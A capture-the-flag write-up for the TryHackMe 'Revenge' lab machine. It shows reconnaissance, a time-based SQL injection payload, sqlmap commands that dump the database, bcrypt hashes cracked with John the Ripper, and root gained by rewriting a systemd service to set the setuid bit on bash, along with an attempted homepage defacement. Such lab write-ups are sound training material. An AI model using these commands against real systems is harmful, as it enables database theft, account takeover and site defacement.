THM – Revenge CTF Room
Todays Capture the Flag hacking writeup is for the TryHackMe room, Revenge. It’s a medium rated room with the following brief:
You’ve been hired by Billy Joel to get revenge on Ducky Inc…the company that fired him. Can you break into the server and complete your mission?
We start by downloading a story task file; which gives a bit more detail behind the CTF story. We’ve got to deface the homepage of the website, but we’re not allowed to take the site or server offline.
NMAP the server
First off, we use nmap to discover any obvious open ports on the box:
sudo nmap -Pn -sC -sV -O -T4 -vv 10.10.243.190 | tee namp_sCsVO.txt
A useful block comes back as follows:
Scanning 10.10.243.190 [1000 ports]
Discovered open port 80/tcp on 10.10.243.190
Discovered open port 22/tcp on 10.10.243.190
Completed Connect Scan at 07:37, 4.06s elapsed (1000 total ports)
Nmap scan report for 10.10.243.190
Host is up, received echo-reply ttl 63 (0.067s latency).
Scanned at 2022-01-06 07:37:01 EST for 4s
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
So we know its running a webserver and SSH.
A bit more info can be revealed, showing the version numbers of those services:
PORT STATE SERVICE REASON VERSION
21/tcp closed ftp conn-refused
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
23/tcp closed telnet conn-refused
25/tcp closed smtp conn-refused
53/tcp closed domain conn-refused
80/tcp open http syn-ack nginx 1.14.0 (Ubuntu)
110/tcp closed pop3 conn-refused
111/tcp closed rpcbind conn-refused
135/tcp closed msrpc conn-refused
139/tcp closed netbios-ssn conn-refused
143/tcp closed imap conn-refused
443/tcp closed https conn-refused
445/tcp closed microsoft-ds conn-refused
993/tcp closed imaps conn-refused
995/tcp closed pop3s conn-refused
1723/tcp closed pptp conn-refused
3306/tcp closed mysql conn-refused
3389/tcp closed ms-wbt-server conn-refused
5900/tcp closed vnc conn-refused
8080/tcp closed http-proxy conn-refused
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So this looks like a web exploitation job – followed by gaining SSH access.
GOBUSTER the server
As with almost all web exploitation CTF I’ve done, we also throw the IP at Gobuster. We start with a small and then work up to a medium directory list.
$ gobuster dir --url $IP --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
And we get the following output from the gobuster script:
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.243.190
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/01/06 07:11:53 Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 8541]
/contact (Status: 200) [Size: 6906]
/products (Status: 200) [Size: 7254]
/login (Status: 200) [Size: 4980]
/static (Status: 301) [Size: 194] [--> http://10.10.243.190/static/]
/admin (Status: 200) [Size: 4983]
We hit login and the admin pages, however analysing the requests there seems to show they’re just dummy pages. No data seems to get submitted and there’s no known page listening for the data, afaik.
Product IDOR Exploitation
One of the other pages shows a breakdown of all their products:
You can browse each one, with the URL changing to include a sequential product number. I started to examine this, wondering if that was an exploitable vector.
Turns out after completing this room, this avenue is called an insecure direct object resource (IDOR) vector.
SQLMap the object reference
We fire up SQLMap to hit the page:
$ sqlmap -u http://$IP/products/1 --current-db
SQLMap reveals it’s a MySQL DBMS, as well as some payloads we can drop on the URL, which is all very useful. This appears to be a rabbit hole worth investigating.
SQLMap spits out the current data: duckyinc.
We check one of the payloads, just to test SQLMap isn’t getting false positives. We try one of my favourite SQL injection methods, the time attack. We append:
1 AND (SELECT 7615 FROM (SELECT(SLEEP(5)))Cwzn)
…to the url, after “/products/“. The browser then appears to hang for 5 seconds – so we’re definitely getting SQL execution.
We can now re-run SQLMap using “-D duckyinc”.
sqlmap -u http://$IP/products/1 -D duckyinc --tables
Within seconds we get the schema dumped out:
Tables: system_user, user and products
We can then dump out all the tables, using the –dump argument.
sqlmap -u http://$IP/products/1 -D duckyinc --dump | tee mysql_dump.txt
This gives us everything in the DB. Magical.
This just happens to contain a flag too! (Which I missed for flipping ages)
We munge the dumped server users table into a format we can run through a cracker like JohnTheRipper.
server-admin:$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a
kmotley:$2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa
dhughes:$2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK
A quick bit of research online shows that $2a$ hashes are created using bcrypt. Interestingly the ‘server-admin’ user has a encryption ‘cost’ of 8, while ‘kmotley’ and ‘dhughes’ have a cost of 12.
FYI, the cost value is 2^x iterations of the hashing algorithm. 2^8 equates to 256, while 2^12 is 4096. This means it should take 16x the effort to crack each of the last two hashes, compared to the first.
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt server_user_pass.hash
That quickly (<1 minute) cracks the server-admin password, probably down to it only having a cost value of 8, compared to the other user’s 12.
FYI, the 2nd and 3rd passwords didn’t crack within 10 minutes. By that point we were well underway SSH into the box using server-admin – so the cracking was abandoned.
SSH into the box
Noting earlier that the SSH port is open, but the Admin login webpage does nothing, we plugged the password into a SSH login for user server-admin.
Here we find our second flag. We’re getting close.
Now we have a foot in the door, we use SCP to upload linPEAS onto the box. Once it’s there, we run that:
Can we change any of the duckyinc website:
Yes we can. Our 9*9 is being calculated as 81 on the site.
Can we now wipe the homepage:
$ echo "DEFACED WEBSITE" > index.html
No is the answer. In fact it seems to have cached everything.
So we need to restart the service perhaps? We can’t delete the __pycache__ content.
Oh damn. Well it was worth a shot.
Escalating privileges to root
I then trawled through the linPEAS.txt file created earlier, and stumbled across some gold! server-admin wasn’t root, but they did have some root-like control on the server. This was displayed using the sudo list command:
server-admin@duckyinc:/var/www/duckyinc/templates$ sudo -l
Matching Defaults entries for server-admin on duckyinc:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User server-admin may run the following commands on duckyinc:
(root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload, sudoedit /etc/systemd/system/duckyinc.service
I could simply execute:
$ sudo /bin/systemctl restart duckyinc.service
Also you can sudoedit the duckyinc service!
Which looks like this to begin with:
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target
[Service]
User=flask-app
Group=www-data
WorkingDirectory=/var/www/duckyinc
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.soc$
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID
[Install]
WantedBy=multi-user.target
I changed the file to read:
[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target
I then rebuild the deamon DB (Required when services changed), then restarted the duckyinc service…
… and voila!
Now we can escalate our privileges with:
/bin/bash -p
With that we can navigate to the /root/ directory and pick up flag3.txt!
Room complete!